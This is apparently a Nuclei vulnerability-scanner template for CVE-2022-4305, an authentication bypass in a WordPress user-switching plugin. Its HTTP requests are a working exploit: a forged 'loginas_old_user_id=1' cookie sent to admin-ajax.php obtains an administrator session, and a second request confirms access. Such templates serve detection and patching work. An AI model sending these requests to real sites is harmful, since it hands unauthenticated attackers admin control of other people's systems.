50 lines
1.7 KiB
YAML
50 lines
1.7 KiB
YAML
id: CVE-2022-4305
|
|
|
|
info:
|
|
name: Login as User or Customer < 3.3 - Privilege Escalation
|
|
author: r3Y3r53
|
|
severity: critical
|
|
description: |
|
|
The plugin lacks authorization checks to ensure that users are allowed to log in as another one, which could allow unauthenticated attackers to obtain a valid admin session.
|
|
remediation: Fixed in version 3.3
|
|
reference:
|
|
- https://wpscan.com/vulnerability/286d972d-7bda-455c-a226-fd9ce5f925bd
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-4305
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-4305
|
|
cwe-id: CWE-269
|
|
epss-score: 0.30921
|
|
epss-percentile: 0.96446
|
|
cpe: cpe:2.3:a:wp-buy:login_as_user_or_customer_\(user_switching\):*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: wp-buy
|
|
product: login_as_user_or_customer_\(user_switching\)
|
|
framework: wordpress
|
|
publicwww-query: /wp-content/plugins/login-as-customer-or-user
|
|
tags: cve,cve2022,wpscan,wordpress,wp-plugin,wp,login-as-customer-or-user,auth-bypass
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-admin/admin-ajax.php?action=loginas_return_admin HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Cookie: loginas_old_user_id=1
|
|
- |
|
|
GET /wp-admin/users.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- status_code_2 == 200
|
|
- contains(header_2, "text/html")
|
|
- contains(body_2, 'Edit Profile') && contains(body_2, 'All Posts')
|
|
condition: and
|
|
|
|
# digest: 4a0a00473045022100921c61d9ea2231c980c153c93138e30c653504f46fc58080c9892703b2dffdc50220316d650ae0b7b88d761f8a6386baf9ed2facd5333bde98c44dabd15c1641c58c:922c64590222798bb761d5b6d8e72950
|